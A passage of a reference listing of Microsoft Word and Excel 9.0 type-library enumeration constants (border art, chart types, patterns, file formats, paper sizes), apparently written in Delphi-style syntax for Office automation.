wdArtCheckedBarBlack = 145;

wdArtMarquee = 146;

wdArtBasicWhiteDots = 147;

wdArtBasicWideMidline = 148;

wdArtBasicWideOutline = 149;

wdArtBasicWideInline = 150;

wdArtBasicThinLines = 151;

wdArtBasicWhiteDashes = 152;

wdArtBasicWhiteSquares = 153;

wdArtBasicBlackSquares = 154;

wdArtBasicBlackDashes = 155;

wdArtBasicBlackDots = 156;

wdArtStarsTop = 157;

wdArtCertificateBanner = 158;

wdArtHandmade1 = 159;

wdArtHandmade2 = 160;

wdArtTornPaper = 161;

wdArtTornPaperBlack = 162;

wdArtCouponCutoutDashes = 163;

wdArtCouponCutoutDots = 164;

Enum WdBorderDistanceFrom;

wdBorderDistanceFromText = 0;

wdBorderDistanceFromPageEdge = 1;

Enum WdReplace;

wdReplaceNone = 0;

wdReplaceOne = 1;

wdReplaceAll = 2;

Enum WdFontBias;

wdFontBiasDontCare = 255;

wdFontBiasDefault = 0;

wdFontBiasFareast = 1;


Excel TypeLib(Excel9.olb)

///全部的请参看Excel9.OLB文件，下面只是一些常量定义！

Excel; // Microsoft Excel 9.0 Object Library

Enum Constants;

xlAll = $FFFFEFF8;

xlAutomatic = $FFFFEFF7;

xlBoth = 1;

xlCenter = $FFFFEFF4;

xlChecker = 9;

xlCircle = 8;

xlCorner = 2;

xlCrissCross = 16;

xlCross = 4;

xlDiamond = 2;

xlDistributed = $FFFFEFEB;

xlDoubleAccounting = 5;

xlFixedValue = 1;

xlFormats = $FFFFEFE6;

xlGray16 = 17;

xlGray8 = 18;

xlGrid = 15;

xlHigh = $FFFFEFE1;

xlInside = 2;

xlJustify = $FFFFEFDE;

xlLightDown = 13;

xlLightHorizontal = 11;

xlLightUp = 14;

xlLightVertical = 12;

xlLow = $FFFFEFDA;

xlManual = $FFFFEFD9;

xlMinusValues = 3;

xlModule = $FFFFEFD3;

xlNextToAxis = 4;

xlNone = $FFFFEFD2;

xlNotes = $FFFFEFD0;

xlOff = $FFFFEFCE;

xlOn = 1;

xlPercent = 2;

xlPlus = 9;

xlPlusValues = 2;

xlSemiGray75 = 10;

xlShowLabel = 4;

xlShowLabelAndPercent = 5;

xlShowPercent = 3;

xlShowValue = 2;

xlSimple = $FFFFEFC6;

xlSingle = 2;

xlSingleAccounting = 4;

xlSolid = 1;

xlSquare = 1;

xlStar = 5;

xlStError = 4;

xlToolbarButton = 2;

xlTriangle = 3;

xlGray25 = $FFFFEFE4;

xlGray50 = $FFFFEFE3;

xlGray75 = $FFFFEFE2;

xlBottom = $FFFFEFF5;

xlLeft = $FFFFEFDD;

xlRight = $FFFFEFC8;

xlTop = $FFFFEFC0;

xl3DBar = $FFFFEFFD;

xl3DSurface = $FFFFEFF9;

xlBar = 2;

xlColumn = 3;

xlCombination = $FFFFEFF1;

xlCustom = $FFFFEFEE;

xlDefaultAutoFormat = -1;

xlMaximum = 2;

xlMinimum = 4;

xlOpaque = 3;

xlTransparent = 2;

xlBidi = $FFFFEC78;

xlLatin = $FFFFEC77;

xlContext = $FFFFEC76;

xlLTR = $FFFFEC75;

xlRTL = $FFFFEC74;

xlFullScript = 1;

xlPartialScript = 2;

xlMixedScript = 3;

xlMixedAuthorizedScript = 4;

xlVisualCursor = 2;

xlLogicalCursor = 1;

xlSystem = 1;

xlPartial = 3;

xlHindiNumerals = 3;

xlBidiCalendar = 3;

xlGregorian = 2;

xlComplete = 4;

xlScale = 3;

xlClosed = 3;

xlColor1 = 7;

xlColor2 = 8;

xlColor3 = 9;

xlConstants = 2;

xlContents = 2;

xlBelow = 1;

xlCascade = 7;

xlCenterAcrossSelection = 7;

xlChart4 = 2;

xlChartSeries = 17;

xlChartShort = 6;

xlChartTitles = 18;

xlClassic1 = 1;

xlClassic2 = 2;

xlClassic3 = 3;

xl3DEffects1 = 13;

xl3DEffects2 = 14;

xlAbove = 0;

xlAccounting1 = 4;

xlAccounting2 = 5;

xlAccounting3 = 6;

xlAccounting4 = 17;

xlAdd = 2;

xlDebugCodePane = 13;

xlDesktop = 9;

xlDirect = 1;

xlDivide = 5;

xlDoubleClosed = 5;

xlDoubleOpen = 4;

xlDoubleQuote = 1;

xlEntireChart = 20;

xlExcelMenus = 1;

xlExtended = 3;

xlFill = 5;

xlFirst = 0;

xlFloating = 5;

xlFormula = 5;

xlGeneral = 1;

xlGridline = 22;

xlIcons = 1;

xlImmediatePane = 12;

xlInteger = 2;

xlLast = 1;

xlLastCell = 11;

xlList1 = 10;

xlList2 = 11;

xlList3 = 12;

xlLocalFormat1 = 15;

xlLocalFormat2 = 16;

xlLong = 3;

xlLotusHelp = 2;

xlMacrosheetCell = 7;

xlMixed = 2;

xlMultiply = 4;

xlNarrow = 1;

xlNoDocuments = 3;

xlOpen = 2;

xlOutside = 3;

xlReference = 4;

xlSemiautomatic = 2;

xlShort = 1;

xlSingleQuote = 2;

xlStrict = 2;

xlSubtract = 3;

xlTextBox = 16;

xlTiled = 1;

xlTitleBar = 8;

xlToolbar = 1;

xlVisible = 12;

xlWatchPane = 11;

xlWide = 3;

xlWorkbookTab = 6;

xlWorksheet4 = 1;

xlWorksheetCell = 3;

xlWorksheetShort = 5;

xlAllExceptBorders = 6;

xlLeftToRight = 2;

xlTopToBottom = 1;

xlVeryHidden = 2;

xlDrawingObject = 14;

Enum XlCreator;

xlCreatorCode = $5843454C;

Enum XlChartGallery;

xlBuiltIn = 21;

xlUserDefined = 22;

xlAnyGallery = 23;

Enum XlColorIndex;

xlColorIndexAutomatic = $FFFFEFF7;

xlColorIndexNone = $FFFFEFD2;

Enum XlEndStyleCap;

xlCap = 1;

xlNoCap = 2;

Enum XlRowCol;

xlColumns = 2;

xlRows = 1;

Enum XlScaleType;

xlScaleLinear = $FFFFEFDC;

xlScaleLogarithmic = $FFFFEFDB;

Enum XlDataSeriesType;

xlAutoFill = 4;

xlChronological = 3;

xlGrowth = 2;

xlDataSeriesLinear = $FFFFEFDC;

Enum XlAxisCrosses;

xlAxisCrossesAutomatic = $FFFFEFF7;

xlAxisCrossesCustom = $FFFFEFEE;

xlAxisCrossesMaximum = 2;

xlAxisCrossesMinimum = 4;

Enum XlAxisGroup;

xlPrimary = 1;

xlSecondary = 2;

Enum XlBackground;

xlBackgroundAutomatic = $FFFFEFF7;

xlBackgroundOpaque = 3;

xlBackgroundTransparent = 2;

Enum XlWindowState;

xlMaximized = $FFFFEFD7;

xlMinimized = $FFFFEFD4;

xlNormal = $FFFFEFD1;

Enum XlAxisType;

xlCategory = 1;

xlSeriesAxis = 3;

xlValue = 2;

Enum XlArrowHeadLength;

xlArrowHeadLengthLong = 3;

xlArrowHeadLengthMedium = $FFFFEFD6;

xlArrowHeadLengthShort = 1;

Enum XlVAlign;

xlVAlignBottom = $FFFFEFF5;

xlVAlignCenter = $FFFFEFF4;

xlVAlignDistributed = $FFFFEFEB;

xlVAlignJustify = $FFFFEFDE;

xlVAlignTop = $FFFFEFC0;

Enum XlTickMark;

xlTickMarkCross = 4;

xlTickMarkInside = 2;

xlTickMarkNone = $FFFFEFD2;

xlTickMarkOutside = 3;

Enum XlErrorBarDirection;

xlX = $FFFFEFB8;

xlY = 1;

Enum XlErrorBarInclude;

xlErrorBarIncludeBoth = 1;

xlErrorBarIncludeMinusValues = 3;

xlErrorBarIncludeNone = $FFFFEFD2;

xlErrorBarIncludePlusValues = 2;

Enum XlDisplayBlanksAs;

xlInterpolated = 3;

xlNotPlotted = 1;

xlZero = 2;

Enum XlArrowHeadStyle;

xlArrowHeadStyleClosed = 3;

xlArrowHeadStyleDoubleClosed = 5;

xlArrowHeadStyleDoubleOpen = 4;

xlArrowHeadStyleNone = $FFFFEFD2;

xlArrowHeadStyleOpen = 2;

Enum XlArrowHeadWidth;

xlArrowHeadWidthMedium = $FFFFEFD6;

xlArrowHeadWidthNarrow = 1;

xlArrowHeadWidthWide = 3;

Enum XlHAlign;

xlHAlignCenter = $FFFFEFF4;

xlHAlignCenterAcrossSelection = 7;

xlHAlignDistributed = $FFFFEFEB;

xlHAlignFill = 5;

xlHAlignGeneral = 1;

xlHAlignJustify = $FFFFEFDE;

xlHAlignLeft = $FFFFEFDD;

xlHAlignRight = $FFFFEFC8;

Enum XlTickLabelPosition;

xlTickLabelPositionHigh = $FFFFEFE1;

xlTickLabelPositionLow = $FFFFEFDA;

xlTickLabelPositionNextToAxis = 4;

xlTickLabelPositionNone = $FFFFEFD2;

Enum XlLegendPosition;

xlLegendPositionBottom = $FFFFEFF5;

xlLegendPositionCorner = 2;

xlLegendPositionLeft = $FFFFEFDD;

xlLegendPositionRight = $FFFFEFC8;

xlLegendPositionTop = $FFFFEFC0;

Enum XlChartPictureType;

xlStackScale = 3;

xlStack = 2;

xlStretch = 1;

Enum XlChartPicturePlacement;

xlSides = 1;

xlEnd = 2;

xlEndSides = 3;

xlFront = 4;

xlFrontSides = 5;

xlFrontEnd = 6;

xlAllFaces = 7;

Enum XlOrientation;

xlDownward = $FFFFEFB6;

xlHorizontal = $FFFFEFE0;

xlUpward = $FFFFEFB5;

xlVertical = $FFFFEFBA;

Enum XlTickLabelOrientation;

xlTickLabelOrientationAutomatic = $FFFFEFF7;

xlTickLabelOrientationDownward = $FFFFEFB6;

xlTickLabelOrientationHorizontal = $FFFFEFE0;

xlTickLabelOrientationUpward = $FFFFEFB5;

xlTickLabelOrientationVertical = $FFFFEFBA;

Enum XlBorderWeight;

xlHairline = 1;

xlMedium = $FFFFEFD6;

xlThick = 4;

xlThin = 2;

Enum XlDataSeriesDate;

xlDay = 1;

xlMonth = 3;

xlWeekday = 2;

xlYear = 4;

Enum XlUnderlineStyle;

xlUnderlineStyleDouble = $FFFFEFE9;

xlUnderlineStyleDoubleAccounting = 5;

xlUnderlineStyleNone = $FFFFEFD2;

xlUnderlineStyleSingle = 2;

xlUnderlineStyleSingleAccounting = 4;

Enum XlErrorBarType;

xlErrorBarTypeCustom = $FFFFEFEE;

xlErrorBarTypeFixedValue = 1;

xlErrorBarTypePercent = 2;

xlErrorBarTypeStDev = $FFFFEFC5;

xlErrorBarTypeStError = 4;

Enum XlTrendlineType;

xlExponential = 5;

xlLinear = $FFFFEFDC;

xlLogarithmic = $FFFFEFDB;

xlMovingAvg = 6;

xlPolynomial = 3;

xlPower = 4;

Enum XlLineStyle;

xlContinuous = 1;

xlDash = $FFFFEFED;

xlDashDot = 4;

xlDashDotDot = 5;

xlDot = $FFFFEFEA;

xlDouble = $FFFFEFE9;

xlSlantDashDot = 13;

xlLineStyleNone = $FFFFEFD2;

Enum XlDataLabelsType;

xlDataLabelsShowNone = $FFFFEFD2;

xlDataLabelsShowValue = 2;

xlDataLabelsShowPercent = 3;

xlDataLabelsShowLabel = 4;

xlDataLabelsShowLabelAndPercent = 5;

xlDataLabelsShowBubbleSizes = 6;

Enum XlMarkerStyle;

xlMarkerStyleAutomatic = $FFFFEFF7;

xlMarkerStyleCircle = 8;

xlMarkerStyleDash = $FFFFEFED;

xlMarkerStyleDiamond = 2;

xlMarkerStyleDot = $FFFFEFEA;

xlMarkerStyleNone = $FFFFEFD2;

xlMarkerStylePicture = $FFFFEFCD;

xlMarkerStylePlus = 9;

xlMarkerStyleSquare = 1;

xlMarkerStyleStar = 5;

xlMarkerStyleTriangle = 3;

xlMarkerStyleX = $FFFFEFB8;

Enum XlPictureConvertorType;

xlBMP = 1;

xlCGM = 7;

xlDRW = 4;

xlDXF = 5;

xlEPS = 8;

xlHGL = 6;

xlPCT = 13;

xlPCX = 10;

xlPIC = 11;

xlPLT = 12;

xlTIF = 9;

xlWMF = 2;

xlWPG = 3;

Enum XlPattern;

xlPatternAutomatic = $FFFFEFF7;

xlPatternChecker = 9;

xlPatternCrissCross = 16;

xlPatternDown = $FFFFEFE7;

xlPatternGray16 = 17;

xlPatternGray25 = $FFFFEFE4;

xlPatternGray50 = $FFFFEFE3;

xlPatternGray75 = $FFFFEFE2;

xlPatternGray8 = 18;

xlPatternGrid = 15;

xlPatternHorizontal = $FFFFEFE0;

xlPatternLightDown = 13;

xlPatternLightHorizontal = 11;

xlPatternLightUp = 14;

xlPatternLightVertical = 12;

xlPatternNone = $FFFFEFD2;

xlPatternSemiGray75 = 10;

xlPatternSolid = 1;

xlPatternUp = $FFFFEFBE;

xlPatternVertical = $FFFFEFBA;

Enum XlChartSplitType;

xlSplitByPosition = 1;

xlSplitByPercentValue = 3;

xlSplitByCustomSplit = 4;

xlSplitByValue = 2;

Enum XlDisplayUnit;

xlHundreds = -2;

xlThousands = -3;

xlTenThousands = -4;

xlHundredThousands = -5;

xlMillions = -6;

xlTenMillions = -7;

xlHundredMillions = -8;

xlThousandMillions = -9;

xlMillionMillions = -10;

Enum XlDataLabelPosition;

xlLabelPositionCenter = $FFFFEFF4;

xlLabelPositionAbove = 0;

xlLabelPositionBelow = 1;

xlLabelPositionLeft = $FFFFEFDD;

xlLabelPositionRight = $FFFFEFC8;

xlLabelPositionOutsideEnd = 2;

xlLabelPositionInsideEnd = 3;

xlLabelPositionInsideBase = 4;

xlLabelPositionBestFit = 5;

xlLabelPositionMixed = 6;

xlLabelPositionCustom = 7;

Enum XlTimeUnit;

xlDays = 0;

xlMonths = 1;

xlYears = 2;

Enum XlCategoryType;

xlCategoryScale = 2;

xlTimeScale = 3;

xlAutomaticScale = $FFFFEFF7;

Enum XlBarShape;

xlBox = 0;

xlPyramidToPoint = 1;

xlPyramidToMax = 2;

xlCylinder = 3;

xlConeToPoint = 4;

xlConeToMax = 5;

Enum XlChartType;

xlColumnClustered = 51;

xlColumnStacked = 52;

xlColumnStacked100 = 53;

xl3DColumnClustered = 54;

xl3DColumnStacked = 55;

xl3DColumnStacked100 = 56;

xlBarClustered = 57;

xlBarStacked = 58;

xlBarStacked100 = 59;

xl3DBarClustered = 60;

xl3DBarStacked = 61;

xl3DBarStacked100 = 62;

xlLineStacked = 63;

xlLineStacked100 = 64;

xlLineMarkers = 65;

xlLineMarkersStacked = 66;

xlLineMarkersStacked100 = 67;

xlPieOfPie = 68;

xlPieExploded = 69;

xl3DPieExploded = 70;

xlBarOfPie = 71;

xlXYScatterSmooth = 72;

xlXYScatterSmoothNoMarkers = 73;

xlXYScatterLines = 74;

xlXYScatterLinesNoMarkers = 75;

xlAreaStacked = 76;

xlAreaStacked100 = 77;

xl3DAreaStacked = 78;

xl3DAreaStacked100 = 79;

xlDoughnutExploded = 80;

xlRadarMarkers = 81;

xlRadarFilled = 82;

xlSurface = 83;

xlSurfaceWireframe = 84;

xlSurfaceTopView = 85;

xlSurfaceTopViewWireframe = 86;

xlBubble = 15;

xlBubble3DEffect = 87;

xlStockHLC = 88;

xlStockOHLC = 89;

xlStockVHLC = 90;

xlStockVOHLC = 91;

xlCylinderColClustered = 92;

xlCylinderColStacked = 93;

xlCylinderColStacked100 = 94;

xlCylinderBarClustered = 95;

xlCylinderBarStacked = 96;

xlCylinderBarStacked100 = 97;

xlCylinderCol = 98;

xlConeColClustered = 99;

xlConeColStacked = 100;

xlConeColStacked100 = 101;

xlConeBarClustered = 102;

xlConeBarStacked = 103;

xlConeBarStacked100 = 104;

xlConeCol = 105;

xlPyramidColClustered = 106;

xlPyramidColStacked = 107;

xlPyramidColStacked100 = 108;

xlPyramidBarClustered = 109;

xlPyramidBarStacked = 110;

xlPyramidBarStacked100 = 111;

xlPyramidCol = 112;

xl3DColumn = $FFFFEFFC;

xlLine = 4;

xl3DLine = $FFFFEFFB;

xl3DPie = $FFFFEFFA;

xlPie = 5;

xlXYScatter = $FFFFEFB7;

xl3DArea = $FFFFEFFE;

xlArea = 1;

xlDoughnut = $FFFFEFE8;

xlRadar = $FFFFEFC9;

Enum XlChartItem;

xlDataLabel = 0;

xlChartArea = 2;

xlSeries = 3;

xlChartTitle = 4;

xlWalls = 5;

xlCorners = 6;

xlDataTable = 7;

xlTrendline = 8;

xlErrorBars = 9;

xlXErrorBars = 10;

xlYErrorBars = 11;

xlLegendEntry = 12;

xlLegendKey = 13;

xlShape = 14;

xlMajorGridlines = 15;

xlMinorGridlines = 16;

xlAxisTitle = 17;

xlUpBars = 18;

xlPlotArea = 19;

xlDownBars = 20;

xlAxis = 21;

xlSeriesLines = 22;

xlFloor = 23;

xlLegend = 24;

xlHiLoLines = 25;

xlDropLines = 26;

xlRadarAxisLabels = 27;

xlNothing = 28;

xlLeaderLines = 29;

xlDisplayUnitLabel = 30;

xlPivotChartFieldButton = 31;

xlPivotChartDropZone = 32;

Enum XlSizeRepresents;

xlSizeIsWidth = 2;

xlSizeIsArea = 1;

Enum XlInsertShiftDirection;

xlShiftDown = $FFFFEFE7;

xlShiftToRight = $FFFFEFBF;

Enum XlDeleteShiftDirection;

xlShiftToLeft = $FFFFEFC1;

xlShiftUp = $FFFFEFBE;

Enum XlDirection;

xlDown = $FFFFEFE7;

xlToLeft = $FFFFEFC1;

xlToRight = $FFFFEFBF;

xlUp = $FFFFEFBE;

Enum XlConsolidationFunction;

xlAverage = $FFFFEFF6;

xlCount = $FFFFEFF0;

xlCountNums = $FFFFEFEF;

xlMax = $FFFFEFD8;

xlMin = $FFFFEFD5;

xlProduct = $FFFFEFCB;

xlStDev = $FFFFEFC5;

xlStDevP = $FFFFEFC4;

xlSum = $FFFFEFC3;

xlVar = $FFFFEFBC;

xlVarP = $FFFFEFBB;

xlUnknown = $3E8;

Enum XlSheetType;

xlChart = $FFFFEFF3;

xlDialogSheet = $FFFFEFEC;

xlExcel4IntlMacroSheet = 4;

xlExcel4MacroSheet = 3;

xlWorksheet = $FFFFEFB9;

Enum XlLocationInTable;

xlColumnHeader = $FFFFEFF2;

xlColumnItem = 5;

xlDataHeader = 3;

xlDataItem = 7;

xlPageHeader = 2;

xlPageItem = 6;

xlRowHeader = $FFFFEFC7;

xlRowItem = 4;

xlTableBody = 8;

Enum XlFindLookIn;

xlFormulas = $FFFFEFE5;

xlComments = $FFFFEFD0;

xlValues = $FFFFEFBD;

Enum XlWindowType;

xlChartAsWindow = 5;

xlChartInPlace = 4;

xlClipboard = 3;

xlInfo = $FFFFEFDF;

xlWorkbook = 1;

Enum XlPivotFieldDataType;

xlDate = 2;

xlNumber = $FFFFEFCF;

xlText = $FFFFEFC2;

Enum XlCopyPictureFormat;

xlBitmap = 2;

xlPicture = $FFFFEFCD;

Enum XlPivotTableSourceType;

xlConsolidation = 3;

xlDatabase = 1;

xlExternal = 2;

xlPivotTable = $FFFFEFCC;

Enum XlReferenceStyle;

xlA1 = 1;

xlR1C1 = $FFFFEFCA;

Enum XlMSApplication;

xlMicrosoftAccess = 4;

xlMicrosoftFoxPro = 5;

xlMicrosoftMail = 3;

xlMicrosoftPowerPoint = 2;

xlMicrosoftProject = 6;

xlMicrosoftSchedulePlus = 7;

xlMicrosoftWord = 1;

Enum XlMouseButton;

xlNoButton = 0;

xlPrimaryButton = 1;

xlSecondaryButton = 2;

Enum XlCutCopyMode;

xlCopy = 1;

xlCut = 2;

Enum XlFillWith;

xlFillWithAll = $FFFFEFF8;

xlFillWithContents = 2;

xlFillWithFormats = $FFFFEFE6;

Enum XlFilterAction;

xlFilterCopy = 2;

xlFilterInPlace = 1;

Enum XlOrder;

xlDownThenOver = 1;

xlOverThenDown = 2;

Enum XlLinkType;

xlLinkTypeExcelLinks = 1;

xlLinkTypeOLELinks = 2;

Enum XlApplyNamesOrder;

xlColumnThenRow = 2;

xlRowThenColumn = 1;

Enum XlEnableCancelKey;

xlDisabled = 0;

xlErrorHandler = 2;

xlInterrupt = 1;

Enum XlPageBreak;

xlPageBreakAutomatic = $FFFFEFF7;

xlPageBreakManual = $FFFFEFD9;

xlPageBreakNone = $FFFFEFD2;

Enum XlOLEType;

xlOLEControl = 2;

xlOLEEmbed = 1;

xlOLELink = 0;

Enum XlPageOrientation;

xlLandscape = 2;

xlPortrait = 1;

Enum XlLinkInfo;

xlEditionDate = 2;

xlUpdateState = 1;

Enum XlCommandUnderlines;

xlCommandUnderlinesAutomatic = $FFFFEFF7;

xlCommandUnderlinesOff = $FFFFEFCE;

xlCommandUnderlinesOn = 1;

Enum XlOLEVerb;

xlVerbOpen = 2;

xlVerbPrimary = 1;

Enum XlCalculation;

xlCalculationAutomatic = $FFFFEFF7;

xlCalculationManual = $FFFFEFD9;

xlCalculationSemiautomatic = 2;

Enum XlFileAccess;

xlReadOnly = 3;

xlReadWrite = 2;

Enum XlEditionType;

xlPublisher = 1;

xlSubscriber = 2;

Enum XlObjectSize;

xlFitToPage = 2;

xlFullPage = 3;

xlScreenSize = 1;

Enum XlLookAt;

xlPart = 2;

xlWhole = 1;

Enum XlMailSystem;

xlMAPI = 1;

xlNoMailSystem = 0;

xlPowerTalk = 2;

Enum XlLinkInfoType;

xlLinkInfoOLELinks = 2;

xlLinkInfoPublishers = 5;

xlLinkInfoSubscribers = 6;

Enum XlCVError;

xlErrDiv0 = $7D7;

xlErrNA = $7FA;

xlErrName = $7ED;

xlErrNull = $7D0;

xlErrNum = $7F4;

xlErrRef = $7E7;

xlErrValue = $7DF;

Enum XlEditionFormat;

xlBIFF = 2;

xlPICT = 1;

xlRTF = 4;

xlVALU = 8;

Enum XlLink;

xlExcelLinks = 1;

xlOLELinks = 2;

xlPublishers = 5;

xlSubscribers = 6;

Enum XlCellType;

xlCellTypeBlanks = 4;

xlCellTypeConstants = 2;

xlCellTypeFormulas = $FFFFEFE5;

xlCellTypeLastCell = 11;

xlCellTypeComments = $FFFFEFD0;

xlCellTypeVisible = 12;

xlCellTypeAllFormatConditions = $FFFFEFB4;

xlCellTypeSameFormatConditions = $FFFFEFB3;

xlCellTypeAllValidation = $FFFFEFB2;

xlCellTypeSameValidation = $FFFFEFB1;

Enum XlArrangeStyle;

xlArrangeStyleCascade = 7;

xlArrangeStyleHorizontal = $FFFFEFE0;

xlArrangeStyleTiled = 1;

xlArrangeStyleVertical = $FFFFEFBA;

Enum XlMousePointer;

xlIBeam = 3;

xlDefault = $FFFFEFD1;

xlNorthwestArrow = 1;

xlWait = 2;

Enum XlEditionOptionsOption;

xlAutomaticUpdate = 4;

xlCancel = 1;

xlChangeAttributes = 6;

xlManualUpdate = 5;

xlOpenSource = 3;

xlSelect = 3;

xlSendPublisher = 2;

xlUpdateSubscriber = 2;

Enum XlAutoFillType;

xlFillCopy = 1;

xlFillDays = 5;

xlFillDefault = 0;

xlFillFormats = 3;

xlFillMonths = 7;

xlFillSeries = 2;

xlFillValues = 4;

xlFillWeekdays = 6;

xlFillYears = 8;

xlGrowthTrend = 10;

xlLinearTrend = 9;

Enum XlAutoFilterOperator;

xlAnd = 1;

xlBottom10Items = 4;

xlBottom10Percent = 6;

xlOr = 2;

xlTop10Items = 3;

xlTop10Percent = 5;

Enum XlClipboardFormat;

xlClipboardFormatBIFF = 8;

xlClipboardFormatBIFF2 = 18;

xlClipboardFormatBIFF3 = 20;

xlClipboardFormatBIFF4 = 30;

xlClipboardFormatBinary = 15;

xlClipboardFormatBitmap = 9;

xlClipboardFormatCGM = 13;

xlClipboardFormatCSV = 5;

xlClipboardFormatDIF = 4;

xlClipboardFormatDspText = 12;

xlClipboardFormatEmbeddedObject = 21;

xlClipboardFormatEmbedSource = 22;

xlClipboardFormatLink = 11;

xlClipboardFormatLinkSource = 23;

xlClipboardFormatLinkSourceDesc = 32;

xlClipboardFormatMovie = 24;

xlClipboardFormatNative = 14;

xlClipboardFormatObjectDesc = 31;

xlClipboardFormatObjectLink = 19;

xlClipboardFormatOwnerLink = 17;

xlClipboardFormatPICT = 2;

xlClipboardFormatPrintPICT = 3;

xlClipboardFormatRTF = 7;

xlClipboardFormatScreenPICT = 29;

xlClipboardFormatStandardFont = 28;

xlClipboardFormatStandardScale = 27;

xlClipboardFormatSYLK = 6;

xlClipboardFormatTable = 16;

xlClipboardFormatText = 0;

xlClipboardFormatToolFace = 25;

xlClipboardFormatToolFacePICT = 26;

xlClipboardFormatVALU = 1;

xlClipboardFormatWK1 = 10;

Enum XlFileFormat;

xlAddIn = 18;

xlCSV = 6;

xlCSVMac = 22;

xlCSVMSDOS = 24;

xlCSVWindows = 23;

xlDBF2 = 7;

xlDBF3 = 8;

xlDBF4 = 11;

xlDIF = 9;

xlExcel2 = 16;

xlExcel2FarEast = 27;

xlExcel3 = 29;

xlExcel4 = 33;

xlExcel5 = 39;

xlExcel7 = 39;

xlExcel9795 = 43;

xlExcel4Workbook = 35;

xlIntlAddIn = 26;

xlIntlMacro = 25;

xlWorkbookNormal = $FFFFEFD1;

xlSYLK = 2;

xlTemplate = 17;

xlCurrentPlatformText = $FFFFEFC2;

xlTextMac = 19;

xlTextMSDOS = 21;

xlTextPrinter = 36;

xlTextWindows = 20;

xlWJ2WD1 = 14;

xlWK1 = 5;

xlWK1ALL = 31;

xlWK1FMT = 30;

xlWK3 = 15;

xlWK4 = 38;

xlWK3FM3 = 32;

xlWKS = 4;

xlWorks2FarEast = 28;

xlWQ1 = 34;

xlWJ3 = 40;

xlWJ3FJ3 = 41;

xlUnicodeText = 42;

xlHtml = 44;

Enum XlApplicationInternational;

xl24HourClock = 33;

xl4DigitYears = 43;

xlAlternateArraySeparator = 16;

xlColumnSeparator = 14;

xlCountryCode = 1;

xlCountrySetting = 2;

xlCurrencyBefore = 37;

xlCurrencyCode = 25;

xlCurrencyDigits = 27;

xlCurrencyLeadingZeros = 40;

xlCurrencyMinusSign = 38;

xlCurrencyNegative = 28;

xlCurrencySpaceBefore = 36;

xlCurrencyTrailingZeros = 39;

xlDateOrder = 32;

xlDateSeparator = 17;

xlDayCode = 21;

xlDayLeadingZero = 42;

xlDecimalSeparator = 3;

xlGeneralFormatName = 26;

xlHourCode = 22;

xlLeftBrace = 12;

xlLeftBracket = 10;

xlListSeparator = 5;

xlLowerCaseColumnLetter = 9;

xlLowerCaseRowLetter = 8;

xlMDY = 44;

xlMetric = 35;

xlMinuteCode = 23;

xlMonthCode = 20;

xlMonthLeadingZero = 41;

xlMonthNameChars = 30;

xlNoncurrencyDigits = 29;

xlNonEnglishFunctions = 34;

xlRightBrace = 13;

xlRightBracket = 11;

xlRowSeparator = 15;

xlSecondCode = 24;

xlThousandsSeparator = 4;

xlTimeLeadingZero = 45;

xlTimeSeparator = 18;

xlUpperCaseColumnLetter = 7;

xlUpperCaseRowLetter = 6;

xlWeekdayNameChars = 31;

xlYearCode = 19;

Enum XlPageBreakExtent;

xlPageBreakFull = 1;

xlPageBreakPartial = 2;

Enum XlCellInsertionMode;

xlOverwriteCells = 0;

xlInsertDeleteCells = 1;

xlInsertEntireRows = 2;

Enum XlFormulaLabel;

xlNoLabels = $FFFFEFD2;

xlRowLabels = 1;

xlColumnLabels = 2;

xlMixedLabels = 3;

Enum XlHighlightChangesTime;

xlSinceMyLastSave = 1;

xlAllChanges = 2;

xlNotYetReviewed = 3;

Enum XlCommentDisplayMode;

xlNoIndicator = 0;

xlCommentIndicatorOnly = -1;

xlCommentAndIndicator = 1;

Enum XlFormatConditionType;

xlCellValue = 1;

xlExpression = 2;

Enum XlFormatConditionOperator;

xlBetween = 1;

xlNotBetween = 2;

xlEqual = 3;

xlNotEqual = 4;

xlGreater = 5;

xlLess = 6;

xlGreaterEqual = 7;

xlLessEqual = 8;

Enum XlEnableSelection;

xlNoRestrictions = 0;

xlUnlockedCells = 1;

xlNoSelection = $FFFFEFD2;

Enum XlDVType;

xlValidateInputOnly = 0;

xlValidateWholeNumber = 1;

xlValidateDecimal = 2;

xlValidateList = 3;

xlValidateDate = 4;

xlValidateTime = 5;

xlValidateTextLength = 6;

xlValidateCustom = 7;

Enum XlIMEMode;

xlIMEModeNoControl = 0;

xlIMEModeOn = 1;

xlIMEModeOff = 2;

xlIMEModeDisable = 3;

xlIMEModeHiragana = 4;

xlIMEModeKatakana = 5;

xlIMEModeKatakanaHalf = 6;

xlIMEModeAlphaFull = 7;

xlIMEModeAlpha = 8;

xlIMEModeHangulFull = 9;

xlIMEModeHangul = 10;

Enum XlDVAlertStyle;

xlValidAlertStop = 1;

xlValidAlertWarning = 2;

xlValidAlertInformation = 3;

Enum XlChartLocation;

xlLocationAsNewSheet = 1;

xlLocationAsObject = 2;

xlLocationAutomatic = 3;

Enum XlPaperSize;

xlPaper10x14 = 16;

xlPaper11x17 = 17;

xlPaperA3 = 8;

xlPaperA4 = 9;

xlPaperA4Small = 10;

xlPaperA5 = 11;

xlPaperB4 = 12;

xlPaperB5 = 13;

xlPaperCsheet = 24;

xlPaperDsheet = 25;

xlPaperEnvelope10 = 20;

xlPaperEnvelope11 = 21;

xlPaperEnvelope12 = 22;

xlPaperEnvelope14 = 23;

xlPaperEnvelope9 = 19;

xlPaperEnvelopeB4 = 33;

xlPaperEnvelopeB5 = 34;

xlPaperEnvelopeB6 = 35;

xlPaperEnvelopeC3 = 29;

xlPaperEnvelopeC4 = 30;

xlPaperEnvelopeC5 = 28;

xlPaperEnvelopeC6 = 31;

xlPaperEnvelopeC65 = 32;

xlPaperEnvelopeDL = 27;

xlPaperEnvelopeItaly = 36;

xlPaperEnvelopeMonarch = 37;

xlPaperEnvelopePersonal = 38;

xlPaperEsheet = 26;

xlPaperExecutive = 7;

xlPaperFanfoldLegalGerman = 41;

xlPaperFanfoldStdGerman = 40;

xlPaperFanfoldUS = 39;

xlPaperFolio = 14;

xlPaperLedger = 4;

xlPaperLegal = 5;

xlPaperLetter = 1;

xlPaperLetterSmall = 2;

xlPaperNote = 18;

xlPaperQuarto = 15;

xlPaperStatement = 6;

xlPaperTabloid = 3;

xlPaperUser = $100;

Enum XlPasteSpecialOperation;

xlPasteSpecialOperationAdd = 2;

xlPasteSpecialOperationDivide = 5;

xlPasteSpecialOperationMultiply = 4;

xlPasteSpecialOperationNone = $FFFFEFD2;

xlPasteSpecialOperationSubtract = 3;

Enum XlPasteType;

xlPasteAll = $FFFFEFF8;

